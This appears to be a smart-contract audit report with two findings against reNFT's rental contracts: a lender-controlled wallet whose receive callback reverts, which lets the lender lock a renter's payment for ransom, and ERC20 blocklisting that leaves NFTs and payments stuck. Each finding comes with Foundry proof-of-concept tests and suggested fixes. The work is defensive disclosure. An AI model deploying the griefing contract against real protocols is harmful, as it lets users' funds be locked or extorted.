reNFT - stackachu's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L33 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L43

Vulnerability details

In a PAY order lending, the renter is payed by the lender to rent the NFT. When the rent is stopped, Stop.stopRent(), transfers the NFT from the renter's Safe back to the lender and transfers the payment to the renter.

To transfer the NFT from the Safe, _reclaimRentedItems() is used, which makes the Safe contract execute a delegatecall to Stop.reclaimRentalOrder(), which is inherited from Reclaimer.sol. This function uses ERC721.safeTransferFrom() or ERC1155.safeTransferFrom() to transfer the the NFT.

If the recipient of the NFT (the lender's wallet) is a smart contract, the safeTransferFrom() functions will call the onERC721Received() or onERC1155BatchReceived() callback on the lender's wallet. If those functions don't return the corresponding magic bytes4 value or revert, the transfer will revert. In this case stopping the rental will fail, the NFT will still be in the renter's wallet and the payment will stay in the payment escrow contract.

Impact

A malicious lender can use this vulnerability to grief a PAY order renter of their payment by having the onERC721Received() or onERC1155BatchReceived() callback function revert or not return the magic bytes4 value. They will need to give up the lent out NFT in return which will be stuck in the renter's Safe (and usable for the renter within the limitations of the rental Safe).

However, the lender has the ability to release the NFT and payment anytime by making the callback function revert conditional on some parameter that they can set in their contract. This allows them to hold the renter's payment for ransom and making the release conditional on e.g. a payment from the renter to the lender. The lender has no risk here, as they can release their NFT at any time.

Proof of Concept

Add the following code to StopRent.t.sol:

diff --git a/test/integration/StopRent.t.sol b/test/integration/StopRent.t.sol
index 3d19d3c..551a1b6 100644
--- a/test/integration/StopRent.t.sol
+++ b/test/integration/StopRent.t.sol
@@ -7,6 +7,49 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct

 import {BaseTest} from "@test/BaseTest.sol";

+import {Errors} from "@src/libraries/Errors.sol";
+import {IERC721} from "@openzeppelin-contracts/token/ERC721/IERC721.sol";
+import {IERC20} from "@openzeppelin-contracts/token/ERC20/IERC20.sol";
+
+contract BadWallet {
+  bool receiveEnabled = true;
+  address owner = msg.sender;
+
+  // To enable EIP-1271.
+  // Normally isValidSignature actually validates if the signature is valid and from the owner.
+  // This is not relevant to the PoC, so we just validate anything here.
+  function isValidSignature(bytes32, bytes calldata) external pure returns (bytes4) {
+    return this.isValidSignature.selector;
+  }
+
+  function doApproveNFT(address target, address spender) external {
+    require(msg.sender == owner);
+    IERC721(target).setApprovalForAll(spender, true);
+  }
+
+  function doApproveERC20(address target, address spender, uint256 amount) external {
+    require(msg.sender == owner);
+    IERC20(target).approve(spender, amount);
+  }
+
+  function setReceiveEnabled(bool status) external {
+    require(msg.sender == owner);
+    receiveEnabled = status;
+  }
+
+  function onERC721Received(
+        address,
+        address,
+        uint256,
+        bytes calldata
+  ) external view returns (bytes4) {
+    if (receiveEnabled)
+      return this.onERC721Received.selector;
+    else
+      revert("Nope");
+  }
+}
+
 contract TestStopRent is BaseTest {
     function test_StopRent_BaseOrder() public {
         // create a BASE order

Add the following test to StopRent.t.sol:

    function test_stopRent_payOrder_inFull_stoppedByRenter_paymentGriefed() public {
        vm.startPrank(alice.addr);
        BadWallet badWallet = new BadWallet();
        erc20s[0].transfer(address(badWallet), 100);
        badWallet.doApproveNFT(address(erc721s[0]), address(conduit));
        badWallet.doApproveERC20(address(erc20s[0]), address(conduit), 100);
        vm.stopPrank();
        // Alice's key will be used for signing, but the newly create SC wallet will be used as her address
        address aliceAddr = alice.addr;
        alice.addr = address(badWallet);

        // create a PAY order
        // this will mint the NFT to alice.addr
        createOrder({
            offerer: alice,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create a PAYEE order. The fulfiller will be the offerer.
        createOrder({
            offerer: bob,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();
    
        // Ensure that ERC721.safeTransferFrom to the wallet now reverts
        vm.prank(aliceAddr);
        badWallet.setReceiveEnabled(false);
  
        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });
  
        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });
    
        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // finalize the order pay/payee order fulfillment
        (RentalOrder memory payRentalOrder, ) = finalizePayOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // try to stop the rental order
        vm.prank(bob.addr);
        vm.expectRevert(Errors.StopPolicy_ReclaimFailed.selector);
        stop.stopRent(payRentalOrder);

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);

        // assert that the rental order still exists in storage
        assertEq(STORE.orders(payRentalOrderHash), true);

        // assert that the token is still rented out in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // assert that the ERC721 is still in the Safe
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        // assert that the offerer made a payment
        assertEq(erc20s[0].balanceOf(aliceAddr), uint256(9900));

        // assert that the fulfiller did not received the payment
        assertEq(erc20s[0].balanceOf(bob.addr), uint256(10000));

        // assert that a payment was not pulled from the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));
    }

Now the PoC can be run with:

forge test --match-path test/integration/StopRent.t.sol --match-test test_stopRent_payOrder_inFull_stoppedByRenter_paymentGriefed -vvv

Recommended Mitigation Steps

I see three ways to mitigate this (however, the third one is incomplete):

• Split stopping the rental and transferring the assets into separate steps, so that after stopping the rental, the lender and the renter have to call separate functions to claim their assets.
• Change Stop._reclaimRentedItems() so that it doesn't revert when the transfer is unsuccessful.
• For ERC721 use ERC721.transferFrom() instead of ERC721.safeTransferFrom() to transfer the NFT back to the lender. I believe it is reasonable to assume that the wallet that was suitable to hold a ERC721 before the rental is still suitable to hold a ERC721 after the rental and the onERC721Received check is not necessary in this case. For ERC1155 this mitigation cannot be used because ERC1155 only has a safeTransferFrom() function that always does the receive check. So this mitigation is incomplete.

Assessed type

Token-Transfer

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L100

Vulnerability details

When a rental is stopped, Stop.stopRent() transfers the rented NFT back from the renter's Safe to the lender's wallet and transfers the ERC20 payments from the payment escrow contract to the respective recipients (depending on the type of rental, those can be the renter, the lender, or both).

To transfer the ERC20 payments, PaymentEscrow.settlePayment() is called.

PaymentEscrow.settlePayment() will use _safeTransfer() (via _settlePayment() and _settlePaymentProRata() or _settlePaymentInFull()) to transfer the ERC20 payments to the recipients:

• If the rental was a BASE order, the payment is sent to the lender.
• If the rental was a PAY order and the rental period is over, the payment is sent to the renter.
• If the rental was a PAY order and the rental period is not over, the payment is split between the lender and the renter.

If either the payment recipient or the payment escrow contract are blocklisted in the payment ERC20, the transfer will fail and _safeTransfer() will revert. In this case the rental is not stopped, the rented NFT will still be in the renter's Safe, and the payment will still be in the payment escrow contract.

Blocklisting is implemented by several stablecoins issued by centralized entities (e.g. USDC and USDT) to be able to comply with regulatory requirements (freeze funds that are connected to illegal activities).

There are multiple scenarios that can have impact here:

A. The renter of a PAY order rental is blocklisted: Even if the renter is already blocklisted before making the rental, the rental can still start, but ending the rental will not be possible, so the lender loses the rented NFT (it will be stuck in the Safe) and at least temporarily loses access to the payment (it will be stuck in the payment escrow, but a protocol admin could recover it).

B. The lender of a BASE order rental is blocklisted: Ending the rental will not be possible, so the lender loses the rented NFT and the payment. However, it is unlikely that the lender has been blocklisted arbitrarily during the rental or wasn't aware of the blocklisting before the rental, so this scenario seems unlikely.

C. The payment escrow contract becomes blocklisted during the rental (if it were blocklisted before the rental, the rental couldn't start): In this case the lender loses the rented NFT and the payment is lost. However, it seems unlikely that the payment escrow contract becomes blocklisted.

Impact

Out of the scenarios listed above, scenario A has the highest impact. Anyone who is blocklisted by a ERC20 contract can grief any lender of a PAY order lending offer that offers this ERC20 as payment of their rental NFT. The attacker only has to pay the gas fee to start the rental to carry out this attack.

Scenarios B and C are less severe (due to low likelihood) but still relevant, as the blocklisting carried out in the external payment ERC20 contract causes the loss of the rental NFT.

Proof of Concept

Add blocklisting to the MockERC20 contract:

diff --git a/test/mocks/tokens/standard/MockERC20.sol b/test/mocks/tokens/standard/MockERC20.sol
index 3e170c1..abcfaf7 100644
--- a/test/mocks/tokens/standard/MockERC20.sol
+++ b/test/mocks/tokens/standard/MockERC20.sol
@@ -4,8 +4,26 @@ pragma solidity ^0.8.20;
 import {ERC20} from "@openzeppelin-contracts/token/ERC20/ERC20.sol";

 contract MockERC20 is ERC20 {
+    mapping(address => bool) public isBlocklisted;
+
     constructor() ERC20("MockERC20", "MERC20") {}

+    function setBlock(address account, bool status) public {
+        isBlocklisted[account] = status;
+    }
+
+    function transfer(address to, uint256 value) public override returns (bool) {
+        if (isBlocklisted[to] || isBlocklisted[msg.sender])
+          revert("You are blocked");
+        return super.transfer(to, value);
+    }
+
+    function transferFrom(address from, address to, uint256 value) public override returns (bool) {
+        if (isBlocklisted[to] || isBlocklisted[from])
+          revert("You are blocked");
+        return super.transferFrom(from, to, value);
+    }
+
     function mint(address to, uint256 amount) public {
         _mint(to, amount);
     }

Add the following import to StopRent.t.sol:

import {Errors} from "@src/libraries/Errors.sol";

Add the following test to StopRent.t.sol:

    function test_StopRent_PayOrder_InFull_StoppedByLender_RenterBlocklisted() public {
        // Blocklist the renter
        erc20s[0].setBlock(bob.addr, true);

        // create a PAY order
        createOrder({
            offerer: alice,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create a PAYEE order. The fulfiller will be the offerer.
        createOrder({
            offerer: bob,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // finalize the order pay/payee order fulfillment
        (RentalOrder memory payRentalOrder, ) = finalizePayOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // try to stop the rental order (will revert)
        vm.prank(alice.addr);
        vm.expectRevert(
          abi.encodeWithSelector(
            Errors.PaymentEscrowModule_PaymentTransferFailed.selector,
            address(erc20s[0]),
            bob.addr,
            100
          )
        );
        stop.stopRent(payRentalOrder);

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);

        // assert that the rental order still exists in storage
        assertEq(STORE.orders(payRentalOrderHash), true);

        // assert that the token are still rented out in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // assert that the ERC721 is still in the safe
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        // assert that the offerer made a payment
        assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900));

        // assert that the fulfiller did not received the payment
        assertEq(erc20s[0].balanceOf(bob.addr), uint256(10000));

        // assert that a payment is still in the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));
    }

Now the PoC can be run with:

forge test --match-path test/integration/StopRent.t.sol --match-test test_StopRent_PayOrder_InFull_StoppedByLender_RenterBlocklisted -vvv

Recommended Mitigation Steps

I see two ways to mitigate this:

• Implement a non-reverting transfer helper function used for payments when stopping the rental. In case of blocklisting, the NFT would still be returned to the lender while the payment ERC20 stays in the payment escrow contract (but could be recovered by an admin unless the payment escrow contract itself is blocklisted).
• Split stopping the rental and transferring the assets into separate steps, so that after stopping the rental, the lender and the renter have to call separate functions to claim their assets.

Assessed type

ERC20